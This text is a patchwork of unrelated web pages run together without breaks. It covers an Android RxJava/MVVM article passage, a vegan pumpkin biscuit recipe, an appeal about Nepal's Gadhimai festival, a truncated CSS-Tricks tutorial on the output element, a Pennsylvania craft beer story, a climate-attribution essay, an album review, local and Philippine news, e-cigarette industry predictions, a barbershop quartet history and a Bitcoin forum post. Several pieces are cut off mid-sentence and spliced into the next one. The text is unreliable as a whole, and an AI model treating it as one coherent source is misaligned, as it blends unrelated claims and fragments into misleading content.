Now, the user performs an action and the final expected state is to have 9 elements in the ViewPager centered at position 7. All the RxJava events trigger after the user action, we don’t have any control over when things happen, naïvely, we just sit there and hope that everything is setup correctly and, somehow, it comes together in the end. But it doesn’t. Actually in some cases the position stream emits a 7 before the data set stream emits the 9 elements. The position event is captured by the fragment that tells the ViewPager to move to the position 7 but it only has 5 elements, how can it move to position 7? It can’t, so it simply ignores the command. It does not fail, it doesn’t let you know in any way.
Right after this the data set event comes, but it is too late already, even though the adapter is going to replace the data set the ViewPager is not going to be centered in the right position.
Of course, this isn’t always the case, sometimes the data set event will come first and everything will work as expected. This is due to the asynchronous nature of our architecture. The view model is doing the processing of the data in background threads so when the user action comes, the position and the data set will be processed with no guarantee of which will finish first.
After all it wasn’t such a great idea to expose two parallel streams with events. What should we do then? The answer is simple, expose one stream per view that emits states instead of events. Both the position and the data set should be wrapped up together so the ViewPager never receives one without the other. This is true for any view with intra-dependent state. You would never expose two separate streams for a TextView, one that sets the text and another one that emits the position of the letter that should be highlighted in bold, but for some reason it’s much easier to make this mistake with a ViewPager or lists.
Everything goes through the view model
Sometimes upday receives breaking news in the form of push notifications so the user can know immediately that something important happened in the world. The expected behavior when the user taps on the notification is to open upday and show the card for the breaking news. Practically this means to open the top news Fragment and center its ViewPager in the position of the breaking news. Typically this type of news is placed in the first position, so for simplicity’s sake let’s assume all we need to do is to set the position of the ViewPager to 0.
We have a mechanism to capture the actions of the user in the push notifications that transforms them into a Rx stream so, why not subscribe to it directly in the Fragment? The operation here is trivial: when the stream emits an event the ViewPager should just scroll to position 0, there is no logic or transformation in-between that needs to be unit tested.
breakingNewsStream (). observeOn ( AndroidSchedulers. mainThread ())
. subscribe ( event -> mViewPager. setCurrentItem ( 0 ),
this :: handleError );
First of all, this is already breaking the previous rule of states instead of events since it is setting the position only, but even though we had a stream of ViewPager’s states it would still be wrong. The reason is that the view model is not aware of what just happened and we could have other things relying on what the view model says the current state is. So the next natural step here would be to notify the view model about what just happened.
breakingNewsStream (). observeOn ( AndroidSchedulers. mainThread ())
. subscribe ( event -> {
mViewPager. setCurrentItem ( 0 );
mViewModel. notifyCurrentPosition ( 0 );
},
this :: handleError );
At this point we could think we did a great job, we solved the issue. The view model now knows what is going on and we can handle this state change properly. But again the reality is quite different and by doing this we have just shot ourselves in the foot. If we ever were to add other effects based on what the view model thinks the ViewPager’s state is, then we have again created a race condition. There is a window of time where the view model has been “notified” but the state has not yet been processed due to the asynchronous nature of the events.
The problem here is that we haven’t followed the natural pattern of our MVVM architecture. The view model transforms the data into something that is easy to use in the Views or any other consumer, this means the view should know about the changes always after the view model. In this example the View knows about the changes before the view model, making the later unreliable.
So basically, it doesn’t matter how trivial or easy an operation is, everything should go through the view model, this way other stuff that is based on the view model’s state can happen reliably.These Soft Pumpkiny Pumpkin Vegan Biscuits are perfect for fall. With fresh sage, thyme and less oil. Free of Dairy, egg, corn, soy, yeast.
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Countdown to Thanksgiving! And more Pumpkin recipes still to come 🙂
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These Pumpkin biscuits are easy to whip up, are moist from the inside and crisp on the outside fresh out of the oven. With the fresh Sage and thyme, these make a perfect savory side. Slather some vegan butter or olive oil, maple or vegan gravy!
The biscuits have a good lot of pumpkin puree for a strong flavor. Chilled pumpkin and chilled non dairy milk work out beautifully in this recipe to reduce the oil/butter needed. There is no palm oil needed in the recipe. to make these gluten-free, use the flour mixture and instructions from this recipe.
Vegan Pumpkin Biscuits /Scones
More fall sides from the blog
Pumpkin Bread Loaf
Tempeh and Pumpkin Bread Stuffing
100% Spelt Sweet Potato Biscuits
Jalapeno Pepper jack biscuits. GF
Steps:
Mix up the dough. Pat into 3/4 inch thick somewhat rectangle. Use a 2 inch cookie cutter to cut biscuits. Place them on parchment lined baking sheet close each other.
Brush or spray oil. Bake. Cool and serve with vegan butter, maple, or gravy.
Store on the counter for the day and refrigerate for upto 5 days.
These biscuits are being shared at VVP
5 from 3 votes Print Vegan Pumpkin Biscuits with Sage and Thyme Prep Time 25 mins Cook Time 15 mins Total Time 40 mins These Soft Pumpkiny Pumpkin Vegan Biscuits are perfect for fall. With fresh sage, thyme and less oil. Free of Dairy, egg, corn, soy, yeast. Course: biscuits Servings : 10 Calories : 103 kcal Author : Vegan Richa Ingredients Wet 1/4 cup almond milk use coconut milk or other non dairy milk to make nut-free
1 tsp apple cider vinegar
1/2 tsp lemon juice
1/2 cup pumpkin puree chilled I used canned. Chill at least for an hour
2 Tablespoons safflower or coconut oil or softened vegan butter I used safflower
1/3 tsp salt
a pinch of cinnamon and nutmeg
1 Tbsp maple syrup Dry 1 cup unbleached white flour
1/2 cup spelt or whole wheat flour
2.5 tsp baking powder
1/4 tsp baking soda
1 Tbsp chopped fresh Sage or 2 tsp dried
1/2 to 1 tsp dried thyme Variation add roasted garlic add other herbs.
Use 1 to 2 Tbsp more vegan butter for flakier biscuits. US Customary - Metric Instructions Preheat the oven to 400 degrees F / 200ºc. In a bowl mix almond milk, vinegar, lemon juice and let sit to curdle for 2 minutes. Add chilled pumpkin puree, oil/butter, salt, cinnamon, nutmeg, maple, Mix well. In another bowl, mix the flours and baking powder and soda. Mix in the sage and thyme. Add the flour mixture to the wet. Mix well. The mixture will appear dry at first. Get your hands in there if needed to make a soft somewhat sticky dough. Add more non dairy milk or flour if needed, do not over-mix or knead. Pat the dough onto parchment to about a 1/2-3/4 inch thick. Use a little flour if needed if the dough is sticky. Cut the biscuits using a 2 inch cookie cutter or biscuit cutter. Place on parchment, push the center a little with a finger to make an indent, brush safflower/coconut/melted vegan butter on top. Bake for 12 to 13 minutes. Let cool for 2 minutes or so as the biscuits will still be cooking on the inside. Serve warm with a dollop of vegan butter or jam or gravy. Cool completely and refrigerate in air tight container until ready to use. Warm in the oven before serving. Or serve with the morning scramble Recipe Notes Nutritional values based on one serving Nutrition Facts Vegan Pumpkin Biscuits with Sage and Thyme Amount Per Serving Calories 103 Calories from Fat 27 % Daily Value* Total Fat 3g 5% Sodium 119mg 5% Potassium 191mg 5% Total Carbohydrates 17g 6% Dietary Fiber 1g 4% Sugars 1g Protein 2g 4% Vitamin A 38.4% Vitamin C 0.7% Calcium 7.4% Iron 6.6% * Percent Daily Values are based on a 2000 calorie diet.
November 20th will be a sad day for 500,000 animals. Every 5 years there is a festival in the country of Nepal.
1. More than two hundred and fifty thousand (250,000) animals (buffalo, goats, chickens and pigs) are killed in this festival (mela). It is supposed that last festival which was held in 2009, November, approx. 500,000 animals were sacrificed in 2009. More than 20,000 buffaloes were killed on the 1st day.
2. These all 500,000 animals are sacrificed in the name Hindu goddess Gadhimai to praise her. It is believed that Goddess Gadhimai is pleased by the animal sacrifice.
3. This festival is dedicated to Gadhimai temple. Gadhimai temple is located in Bariyarpur village in Bara District. This village, Bariyarpur, Bara is about 100 miles (160 km) far from the Kathmandu, capital of Nepal.
4. Gadhimai festival is supposed as the festival of world’s largest sacrificial slaughter of animals. Animals may be buffaloes, pigs, goats, chicken and pigeons.
5. The main goal of devotees is to please the Goddess Gadhimai Devi. She is supposed the goddess of power. Participants believe that animal sacrifices will end the evil and bring prosperity in their life. During the November month, there are huge crowed of devotees and animals in this area. It is estimated that more than 5 million people from all over the Nepal and some southern states (Uttar Pradesh and Bihar) of India participate in the festival.
We can change this. Find more about how we all can help and details about a Tweetstorm to get the word out here.**
Peta petition, Letters and phone numbers of govt officials.
**Warning, some of the links might have graphic images**Last night I was rooting around in the cellars of a particularly large codebase and stumbled upon our normalize.css which makes sure that all of our markup renders in a similar way across different browsers. I gave it a quick skim and found styles for a rather peculiar element called <output> that I'd never seen or even heard of before.
According to MDN, it "represents the result of a calculation or user action" typically used in forms. And rather embarrassingly for me, it isn't a new and fancy addition to the spec since Chris used it in a post all the way back in 2011.
But regardless! What does output do and how do we use it? Well, let's say we have an input with a type of range. Then we add an output element and correlate it to the input with its for attribute.
<input type="range" name="quantity" id="quantity" min="0" max="100"> <output for="quantity"></output>
See the Pen Input Output #2 by CSS-Tricks (@css-tricks) on CodePen.
It... doesn't really do anything. By default, output doesn't have any styles and doesn't render a box or anything in the browser. Also, nothing happens when we change the value of our input.
We'll have to tie everything together with JavaScript. No problem! First we need to find our input in the DOM with JavaScript, like so:
const rangeInput = document.querySelector('input');
Now we can append an event listener onto it so that whenever we edit the value (by sliding left or right on our input) we can detect a change:
const rangeInput = document.querySelector('input'); rangeInput.addEventListener('change', function() { console.log(this.value); });
this.value will always refer to the value of the rangeInput because we're using it inside our event |
probably brewed in Pa.
Opinion on beer: Bible school with beer? The end times are near (letter)
The big little guys
Pennsylvania produces beer for two of the "big" players in the industry: Yuengling and Boston Beer, the maker of Samuel Adams.
Bart Watson, chief economist for the Brewers Association, says the two companies make up a significant portion of Pennsylvania's craft beer output.
Yuengling is well known in the state, claiming the title of "America's oldest brewery."
But Boston Beer is a newer player, occupying a Breinigsville brewery for about a decade, according to Lehigh Valley Business.
More beer:Some local beer recommendations
More: Troegs plans beer expansion
The company makes the majority of its beer in Pennsylvania, said Daniel LaBert, the executive director of Brewers of Pennsylvania.
Wide variety
But if craft beer in Pennsylvania was limited to the "big" two brewers, the state wouldn't be first in the nation, said Watson. There's a lot more going on here.
Take Troegs for example.
The Hershey-based brewery has grown from a business staffed by friends and family into a thriving craft brewer distributing in over 10 states. It currently employs over 230 people.
CLOSE Head brewer and co-owner of Collusion Tap Works Jared Barnes brews a batch of Bad Trip beer, and explains the process along the way. Kate Penn
"For us, it's really just been about, you know, trying to produce great beer and to be able to get it out... throughout not only the whole state, but... also partially the east coast too," said Chris Trogner, cofounder of Troegs.
Watch the video at the top of this article for a look at Troegs' massive oak barrels.
Troegs is just one of many breweries that benefit from Pennsylvania's logistical benefits: Easy access to distribution routes, the support of local agriculture and access to fresh water.
More: Gettysburg Brew Fest: Six newer breweries to try
In addition to Yuengling and Boston Beer, Troegs is now one of the five largest craft brewers in the state. It's joined by Downingtown's Victory Brewing and Philadelphia's Yards, according to LaBert.
The combination of large craft breweries, growing regional brewers and a thriving group of local brew pubs contributes to the high output of craft beer in Pennsylvania, LaBert said.
“The smokey bar on the corner is now being replaced with a community friendly, family friendly … brew pub that focuses on grain to glass," said LaBert.
Not just Pa.
Craft beer is a growing industry across the nation. Brewers Association data shows that while the beer industry's sales are stagnant, craft sales are up.
Ask LaBert why, and he'll give you more than one reason.
Many of today's consumers “don’t want the the can of warm Budweiser that came off a production line that, you know, sat on a truck and God knows where it came from," he said.
If they're going to spend their money on beer, they want it to be something unique that was brewed with quality in mind. Something they can trace back to its source.
More: Get your six pack the same place you get a case
That's evident in the design of Troegs' brewery.
Bartender Andrew Batula wore a shirt that proclaimed "Proudly brewed in Pennsylvania" along the back as he poured a glass of Sunshine Pils at Troegs' Tasting Room & Snack Bar.
Behind him in plain sight: Three massive stainless steel tanks called the "brew deck," used in the brewing process of Troegs' production beers.
The customers sitting at the bar watched large batches of Troegs beer being brewed as they enjoyed the finished product from the tap.
Also visible: Smaller tanks where "scratch beers" are made — these are experimental recipes that brewers test out at the Hershey brewpub.
In LaBert's words: “It’s really exciting times for beer in Pennsylvania."
Also made in Pa. — These 10 products:
Read or Share this story: https://www.ydr.com/story/news/2017/09/18/billion-bottles-beer-nowhere-nation-brews-more-craft-beer-than-pa/610119001/Frankenstorm: Has Climate Change Created A Monster?
It was not a good year for people, weather and climate. The winter was strangely warm in many places and the summer ridiculously hot. As a large fraction of the country suffered through extreme or even extraordinary drought many folks naturally wondered, "Is this climate change?" Then along came a presidential election in which the words "climate change" disappeared from the dialogue. Now, just a week or so before voting day, the convergence of westbound Hurricane Sandy with a eastbound cold front is creating a massive storm, a Frankenstorm even, that is threatening millions of Americans. Weird weather is making yet another appearance in our lives and once again we ask, "Is this climate change?"
The hyper-charged political landscape we are crossing now creates its own sparks when trying to answer that question. In a world looking for "wake-up calls" and "smoking guns," how do scientists address the thorny issue of attribution? Did anthropogenic climate change cause the storm that rained out your picnic yesterday? Is it causing the terrifying storm crawling up the East Coast now? There are deep, powerful and potent issues here that touch on both science and the relationship between science and politics.
Let's start with the science.
For years, most climate scientists would say it's impossible to link an individual weather event with climate change. That, in fact, is the difference between weather and climate. Climate is all about long-term trends — not the 5-day forecast.
Recently, however, some researchers have taken the issue of attribution seriously. Using a variety of techniques, they are attempting to quantify the role human-driven climate change plays in particular events. This is science at the bleeding edge, where framing their questions correctly so that they might lead to meaningful answers is still a hot issue.
Researchers like Randall Dole of NOAA, for example, might ask what percentage of an extreme event's magnitude came from a changing climate. Peter Stott of the UK Met Office frames the question differently. He looks at the odds for a given extreme weather event to occur given human-driven climate change. Kevin Trenberth of NCAR takes a third view, asking: Given a changed background climate, how should we expect weather to change?
All of these different perspectives (sometimes framed as "Weather on Steroids") have led to new quantitative explorations of climate change's role in what is happening now, not 30 years in the future. In an early example of attribution science Peter Stott and colleagues took on the extraordinary heat waves that struck Europe in 2003 (killing thousands). Their conclusion?
"...we estimate it is very likely (confidence level >90%) that human influence has at least doubled the risk of a heat wave exceeding this threshold magnitude."
This kind of science has allowed researchers to get a much better handle on attributing climate change as a game changer for events like this summer's killer heat and drought.
So how about the Frankenstorm?
Here the waters get muddied. There is a hierarchy of weather events which scientists feel they understand well enough for establishing climate change links. Global temperature rises and extreme heat rank high on that list, but Hurricanes rank low. As the IPCC special report on extreme events put it "There is low confidence in any observed long-term (i.e., 40 years or more) increases in tropical cyclone activity (i.e., intensity, frequency, duration), after accounting for past changes in observing capabilities."
The reasons for "low confidence" are manifold. Some part of the caution comes from the complexity of the problem, and some part comes from the lack of good data before the satellite era (about 1970). Thus, many climate scientists will not want to go out on a limb for hurricanes. They just don't have the tools to make strong inferences.
This is not to say progress isn't being made. One thing that does seem clear is that warmer oceans (a la global warming) mean more evaporation, and that likely leads to storms with more and more dangerous rainfall of the kind we saw with Hurricane Irene last year. In addition, a paper published just last month, used records of storm surges going back to 1923 as a measure of hurricane activity. A strong correlation between warm years and strong hurricanes was seen. Thus if you warm the planet, you can expect more dangerous storms.
Which brings us to our bottom line. The science of climate attribution is very exciting and full of cool, new ideas. It has already provided us with first steps towards more precision in understanding how climate change is changing climate now, already. For hurricanes, however, sticking to the science means it is still hard to point to an individual storm and say, yes! Climate change! A more reasoned approach is to take the full weight of our understanding about the Earth and its systems and go beyond asking if any particular event is due to global warming or natural variability. As Kevin Ternbeth of NCAR says "Nowadays, there's always an element of both."
Finally there is the issue of science and politics. Tania Lombrozo wrote a beautiful piece here on Thursday asking if "Scientists Should Promote Results Over Process." Speaking directly to climate change, she concludes
"Overstating confidence in scientific claims may... miss a long-term benefit for a short-term advantage: rhetorical oomph comes at the cost of an opportunity to educate people about how science works and why the products of science are our most reliable guides to the natural world."
I could not have said it better myself.
You can keep up with more of what Adam Frank is thinking on Facebook and on Twitter: @AdamFrank4When Sampha Sisay was three years old, his father brought a piano into the family’s Morden, England home. It wasn’t a grand gesture—just a way to get his sons away from the TV. Yet for Sampha, the youngest of five siblings, the instrument became a vessel for his personal growth. It helped enlighten the young boy, offering solace and purpose, commencing a spiritual journey that he’s still navigating. In Sampha’s world, the piano is one of the few things that’s always been there. It’s never gotten sick or faded away from disease. “You would show me I had something some people call a soul,” he sings on “(No One Knows Me) Like the Piano,” a gorgeous ballad and one of many standouts from Process, Sampha’s remarkable debut album.
The song—much like the LP—comes from a deeply meditative place, reflecting the innermost thoughts of a man still coping with heavy loss. His father, Joe, passed away from lung cancer in 1998. His mother, Binty Sisay, died of cancer in September 2015. Throughout the spare electro-soul of Process, you feel his mom’s spirit in the stillness, pushing her son in his quest for understanding. Sampha’s endured his own health struggles as well. He once discovered a lump in his throat while on tour; despite an endoscopy, doctors couldn’t determine a cause. It became a catalyst for the singer to assess his own mortality here. “Sleeping with my worries,” goes the opener “Plastic 100ºC,” “I didn’t really know what that lump was.”
Sampha’s career dates back to 2010 and the release of Sundanza, his first EP. In 2011, Sampha was featured heavily on producer SBTRKT’s debut album; his second EP, Dual, followed in 2013. Sampha played the background from there, turning up on tracks with Drake (“Too Much,” “The Motion”), Kanye West (“Saint Pablo”), Frank Ocean (“Alabama”), and Solange (“Don’t Touch My Hair”). His presence was strong, even if his voice—a gentle, shimmering falsetto—added light touches to the scenery. Despite its delicate texture, Sampha’s inflection hovers perfectly above the music, cracking at certain pitches to convey grief.
In a way, Process feels like a concept album on which Sampha rediscovers himself. The musician’s mother was diagnosed with cancer the same year Sundaza came out, and as her primary caregiver, he naturally focused his attention on her well-being. Now, he’s attempting to reconnect with his core while coping with despair. In the past, he’d mix his voice to fit within the instrumental; on Process, he makes it the focal point. Co-produced with Rodaidh McDonald, *Process *brings to mind James Blake while nodding to mainstream hip-hop. On “Under,” in particular, Sampha utilizes a sleek trap beat.
Even the album’s most upbeat tracks are shaded with tension. “You’ve been with me since the cradle,” Sampha recalls on “Kora Sings,” presumably referring to his mom. “You’ve been with me, you’re my angel, please don’t you disappear.” With “Blood on Me,” the album’s second single, the vocalist sings through heavy breaths, seemingly haunted by his own insecurities. It addresses the fear of moving forward after personal trauma, and for a quiet soul like Sampha, it also speaks to the panic of navigating the world by himself. “I’m on this road now,” he exclaims. “I’m so alone now/Swerving out of control now.”
On album closer “What Shouldn’t I Be?,” you feel Sampha’s air of prolonged detachment. It catches the singer at his most vulnerable, trying to remember the sketches of his childhood. Close your eyes, and you can almost see Sampha’s family—happy, affectionate, and together. “I should visit my brother,” he ponders, “but I haven’t been there in months.” His self-imposed isolation doesn’t outweigh the song’s overall premise: “You can always come home.”An ancient monument has crashed to the ground after standing for more than 4,000 years as an important landmark.
The famous standing stone at Bedd Morris, on Newport mountain, was snapped over the weekend, toppling over and crushing a nearby fence.
Archaeologist Professor Geoffrey Wainwright, an expert who has worked on several sites in the Preselis, plans to play an active role in getting the stone reinstated.
He said: “It’s a tragedy, the stone has snapped and it’s a real mess.
“It’s an important landscape feature and an important archaeological site and it must be put back as soon as possible.”
He added: “Hopefully the stone should go back up and no-one will ever know the difference.
“For centuries people have gone up the top road and seen the stone, which is a scheduled monument.”
It is believed the two metre high, bronze age stone was hit by a vehicle travelling on the Cwm Gwaun to Newport road.
Newport mayor Byron James was shocked by the incident and told the Western Telegraph he was looking into the matter.
The National Park Authority has arranged a meeting at the site of the stone to determine how the damage occurred happened, with the authority’s archaeologist and Cadw representatives.
An Authority spokesman said: “Bedd Morris is an impressive, very tall standing stone, well over six foot. It is a scheduled ancient monument thought to date from the bronze age. It now marks the parish boundary between Newport and Pontfaen.
“About five years ago, after a traffic collision, Cadw and the Park Authority’s archaeologist carried out successful consolidation work on Bedd Morris and it has continued to stand strong ever since.”The New Year is rapidly approaching and 2015 will undoubtedly deliver some major changes to the world of electronic cigarettes. This industry is moving forward rapidly and constantly adapting and evolving as legislation changes and vapers require new and better products. So what will this next year bring for the ecig industry? The Ashtray Blog talked to some of the most popular voices in the ecig circle and here is a quick look at what they are expecting.
Better Products for First Time Vapers
Smokers that switch to ecigs in 2015 will have a distinct advantage over those that converted in the past. For one thing, they will have a better selection of electronic cigarettes and e-liquids to choose from. But beyond that, the improvements to technology will be a game changer that helps a lot of smokers make a lasting transition away from tobacco. Clive Bates, the former head of Action on Smoking and Health, predicts that next year will be all about 2nd generation vaping gear.
“After plateauing, vaping will resume its inexorable rise in 2015 because it will be easier for users to go straight to 2nd generation products that work for them,” Bates explained. “The business focus will be on simplicity and making sure new users can enter the category easily and without arcane knowledge.”
Increased Ecig Activism
As governments around the world push forward with regulatory changes, ecig activism is destined to boom next year. Grimm Green told the Ashtray Blog that he thinks the growing involvement will be a game changer. “As we move past 2014 I feel like vapers are actually starting to care more now than they ever have. We have fantastic activist leaders that are helping to guide the way to victory. I have no doubt that we will continue to grow and thrive as a community.”
More Lobbying From Big Tobacco
Over the past year, we have seen Big Tobacco get heavily involved in the ecig industry as they try to save face and profits. Professor JF Etter said tobacco companies will continue to sink their claws into ecigs and they will amp up lobbying efforts to get laws that work out in their favor. “They cannot envision doing business in this field without using their influence to obtain a ‘friendly’ regulation. This means sitting behind closed doors with high level civil servants and MPs, and building a high regulatory wall around this business,” Professor Etter said.
The Decline of Cigalikes
A new wave of technology has changed how people vape and Spinfuel writer John Manzione predicts that next year will bring further decline to first generation cigalikes. “Smokers are moving past cig-a-likes and jumping into the bigger, better devices faster than ever. This will continue, and the time it takes for a former smoker to get to the larger devices will get shorter and shorter,” Manzione said. “This is also a good thing. Don’t get me wrong, if technology could improve to the point that we can get flavor, vapor, and ‘vape time’ in an NJOY sized device I’d be there with bells on.”
Lives Will Be Saved
Herbert Gilbert introduced the first ecig prototype back in 1963 and today, he continues to support the vaping industry. He predicts that 2015 will bring another boom in new vaping converts and as a result, many lives will be saved. “As the inventor of the first electric cigarette in 1963 I predict that the continuing ongoing growth of scientific knowledge proving that tobacco kills while ecigs save lives can only result in even more millions of lives being saved…and that is my prediction based on simple logic,” Gilbert said. “When people learn and comprehend the difference they will stop killing themselves with tobacco, and switching to ecigs will provide a proven and scientifically recognized way to do just that.”
Rapid Innovation
Oliver Kershaw from Vaping.com said 2015 will be the year for rapid and powerful innovation. “On the tech front, we should expect rapid innovation this year as power-regulated devices come down in price and become more widely available, and more widely accepted. This, combined with new tank systems that are hitting the market now are likely to take the high-power style of vaping to a wider market. In my view, these devices are more pleasurable, and will convert more smokers – but they are not without their own controversies, which will become more apparent as more vapers are seen to be using them.”
Continued Ecig Research
P Busardo takes a lighter approach to vaping on his Taste Your Juice blog, but he wasn’t joking around when he predicted that next year would see a major shift in the research circle. “We’re going to see a lot more research being done on what we do and how we do things. Temperatures, liquids, wires, wicking materials will all continue to be tested and looked at. This can only benefits us as vapers, giving us the information we need to make better informed decisions on how we vape should we chose to use the information provided.”
More Delays From the FDA
While the FDA has repeatedly promised imminent regulations, it appears that they are not too much closer to that goal than they were at the beginning of 2014. Steve Vape predicts that 2015 will bring more of the same. “The FDA will attempt to implement its deeming regulation of e-cigarettes. However, legal challenges and other red tape will keep it from being applied in 2015,” he predicted.
What changes do you expect to see from the ecig industry in 2015?Alex Lifeson to appear on the Prog Magazine Show tomorrow
UPDATE - 11/29@9:10AM: The interview is also now available on SoundCloud too!
----- snip -----
UPDATE - 11/25@10:42AM: Alex's interview from yesterday is now available for listening online here. The interview occurs in the 2nd half of the show starting at about the 1-hour, 13-minute (73-minute) mark.
I'd mentioned briefly in my post announcing Alex Lifeson's Spirit of Prog award last week that Alex would be a guest on the Prog Magazine Show on TeamRock Radio with Philip Wilding tomorrow. Prog Magazine has released a few more details about the appearance on their website here:
Alex was in London recently where he was honoured with the Spirit Of Prog award at the Classic Rock Roll Of Honour. Prog Show presenter Philip Wilding attended the ceremony with Lifeson, all of them sat at a table with Sir Richard Of Wakeman. We can only imagine how dull that would be... Tune in at 6pm on Sunday at www.teamrockradio.com (and on DAB and the radioplayer app) to hear music from Rush (of course), Mike Oldfield, Jonathan Wilson, Withem, As Gods, Wolf People and more.
Note that the show will stream online at teamrockradio.com at 6PM - 1PM EST. Alex will also be a guest on Planet Rock's One Man And His Prog show with Darren Redick tomorrow at midnight (7PM EST).At least 10 provinces outside the core territory of the Autonomous Region in Muslim Mindanao (ARMM) may end up joining the Bangsamoro under the Malacanang-vetted working draft approved by the House ad hoc panel.
Lawmakers in the minority sounded alarm bells on Wednesday over a clause dramatically expanding the potential coverage of the Bangsamoro that was added at the last minute to the controversial “opt-in” provision of the draft law.
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Minority Leader Ronaldo Zamora said he was “shocked” by the reference to the 1976 Tripoli Agreement in the opt-in provision, which basically meant that the provinces that had already voted against joining the ARMM could still be subject to future plebiscites for joining the new Bangsamoro area.
“Did you notice a reference to the Tripoli Agreement?” he told reporters at the regular forum of minority lawmakers.
“Maybe people don’t know what this means: The provinces that they thought were not included, and that there was nothing to fear in the BBL, these congressmen who represent these provinces, may not realize that they may be included,” Zamora said.
The “areas of autonomy” identified in the Tripoli deal signed between government and the Moro National Liberation Front include the core territory of the ARMM comprising the provinces of Basilan, Sulu, Tawi-Tawi, Lanao del Norte, and Maguindanao, and at least eight other provinces outside the ARMM.
These are Zamboanga del Sur, Zamboanga del Norte, North Cotabato, Sultan Kudarat, Lanao del Sur, Davao del Sur, South Cotabato, Palawan, and all cities and villages located in those provinces.
These areas of autonomy would also include Zamboanga Sibugay, which was carved out of Zamboanga del Norte, and Sarangani, which was carved out of South Cotabato.
Thus, 10 provinces are in effect covered under the opt-in provision of the Bangsamoro draft law, the minority lawmakers said.
“Do the congressmen voting so readily for these provisions understand that they are now in play?” Zamora said. “Whether you voted against inclusion in previous plebiscites [to join the ARMM], you’re now back in play,” he said.
Zamboanga del Norte Rep. Seth Frederick Jalosjos said it was clear that “not just core territories” would be affected but all the provinces under the Tripoli agreement.
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“We’re talking about opt-in, but there’s no opt-out. This is a very dangerous provision,” he said.
YACAP Rep. Carol Jayne Lopez said that including the ARMM provinces, the opt-in provision would span a total of 15 provinces “involving 28 congressmen.”
Under Article 3, Section 3 of the working draft, “any local government unit or geographical area outside the territorial jurisdiction of the Bangsamoro, but which are contiguous to any of the component units of the Bangsamoro and within the area of autonomy identified in the 1976 Tripoli Agreement, may opt to be part of the Bangsamoro by filing a petition of at least 10 percent of the registered voters of the interested LGU or geographical area.”
Their inclusion shall be effective when approved by a majority of the votes cast in a plebiscite of political units directly affected, and petitions may only be filed after the fifth and 10th year after the enactment of the Bangsamoro law.
This is a major departure from the original provision in the version submitted to Congress by the executive, which read:
“The areas which are contiguous and outside the core territory may opt at anytime to be part of the territory upon petition of at least 10 percent of the registered voters and approved by a majority of qualified votes cast in a plebiscite.
The committee chair, Cagayan de Oro Rep. Rufus Rodriguez, had actually moved to have this original opt-in provision deleted from the draft entirely, based on the recommendation of the Peace Council.
But the amended version, including the reference to the Tripoli Agreement, had apparently been added when Rodriguez and other lawmakers met with President Aquino to draft the final version on the eve of voting.
It was this “chairman and vice chairpersons’ working draft” which was adopted and voted on by the 75-member ad hoc panel from Monday to Wednesday. AC
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MOST READThe Buffalo Bills were a barbershop quartet formed in Buffalo, New York, on September 20, 1947.[1] The quartet won the 1950 International Championship and is well known for appearing in the 1957 Broadway production and the 1962 film version of The Music Man.
Origins [ edit ]
The quartet started out as an unnamed foursome, singing for community groups around Buffalo. The original members were tenor Vern Reed, an executive for the Tonawanda Boys' Club;[2] lead Al Shea, who was a City of Buffalo policeman; baritone Herschel Smith, a corporate executive; and bass Bill Spangenberg, a truck driver for a steel company. During an appearance at the Buffalo Quarterback Club, the nameless quartet was introduced as the "Buffalo Bills", which was meant to be just for the occasion, but the name stuck from that day on.[2] Coincidentally, a football team known formerly as the Buffalo Bisons also changed its name to the Bills around the same time; the name proved popular enough that the current Buffalo Bills team also picked up the name when they debuted thirteen years later.
Phil Embury traveled with the quartet around the world. The Bills competed in the 1948 and 1949 SPEBSQSA International Quartet Contests, placing sixteenth and sixth, respectively.[2]
Champions [ edit ]
Baritone Herschel Smith left the quartet after he received a job promotion and was transferred to Madison, Wisconsin. Unable to find a replacement, the Bills temporarily broke up. They soon found baritone Dick Grapes and success quickly followed. In 1950, the Bills won the Barbershop Harmony Society International Quartet Contest, earning them the title of International Quartet Champions. Soon after their victory, they appeared on the national radio program We The People and were honored by the Manhattan and Buffalo chapters on their return trip to their hometown.[2] Their first national television appearance was on The Faye Emerson Pepsi-Cola Show broadcast on CBS in April 1951.[2] The Bills also performed at military bases in France, Germany, Austria, Japan, and Korea. That same year of 1951, the Bills released an eight-song LP album for Decca titled Barbershop Gems which was also issued on 45 and 78 RPM records.
Discovery [ edit ]
In the early 1950s, Meredith Willson, a famous composer, arranger, and bandleader, hosted a radio program called Music Today with his wife, Rini. Hearing the Bills records, he began to admire their work, and he and his wife travelled to Buffalo three years later to meet them. Afterwards, he began featuring the quartet regularly on his radio show.[3]
In February 1957, the Buffalo Bills competed on Arthur Godfrey's Talent Scouts, won first honors, and received the essential invitation to perform on Godfrey's morning show for the rest of the week.[3] Later that year, Willson finished his new musical, The Music Man, which featured a barbershop quartet in the plot. Willson suggested the Bills come to New York City and audition for the show. They were immediately accepted, but joining the musical meant they would all have to quit their jobs in Buffalo and relocate to New York City.
Broadway and film [ edit ]
In the end, Dick Grapes decided to stay behind with his job and family life and was replaced by veteran barbershop baritone Wayne "Scotty" Ward of the Great Scots quartet of Steubenville, Ohio.[4] The quartet took one-year leaves from their jobs (which later became permanent) and moved with their families to New York City.[5] They continued to make television and radio appearances, including the Arthur Godfrey show, where they met Walter Latzko, a CBS staff music arranger. They were such a hit in The Music Man on Broadway, that they were cast in the film adaptation of the musical in 1962. Shortly after the film was completed, Bill Spangenberg became ill and had to leave the quartet. He died the following year. Spangenberg was replaced by Jim Jones, bass of the Sta-Laters quartet.
Final years [ edit ]
For the next five years, the Bills continued to perform on the Arthur Godfrey Show, appeared as a nightclub act, performed in regional and amateur productions of The Music Man and were headline entertainers on barbershop shows, as well as at state and county fairs around the US and Canada. Their total career consisted of 1,510 performances on Broadway, 728 concerts, 675 radio shows, 672 night club and hotel appearances, 626 conventions, 218 television shows, 137 state fair performances, and 1 film. Their final official performance was on May 24, 1967 at the Waldorf-Astoria Hotel in New York.[6]
The only surviving member of the Buffalo Bills is Jim Jones, who lives in Orlando, Florida.[7] Only Reed and Shea were with the Bills throughout their entire 20-year existence. Internal issues and some health problems caused the quartet to disband in 1967. Shea died in 1968, Ward in 1988, Reed in 1992, Smith in 2007, and Grapes in 2015.[4][8]flix
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LegendaryActivity: 1227Merit: 1000 What will the world look like in 10 years if Bitcoin succeeds? October 15, 2015, 11:50:49 AM #1 We've had a million predictions of doom, all the bad things that can happen if Bitcoin and Cryptocurrencies spread. We have also had an unending stream of "Bitcoin is dead" and "Bitcoin won't last another year" predictions.
What I would like is to try to imagine a best case scenario of how the world could change for the better if Bitcoin became as popular as e-mail or social networks and billions of people were using it.
So... what is your best case scenario for 2025?
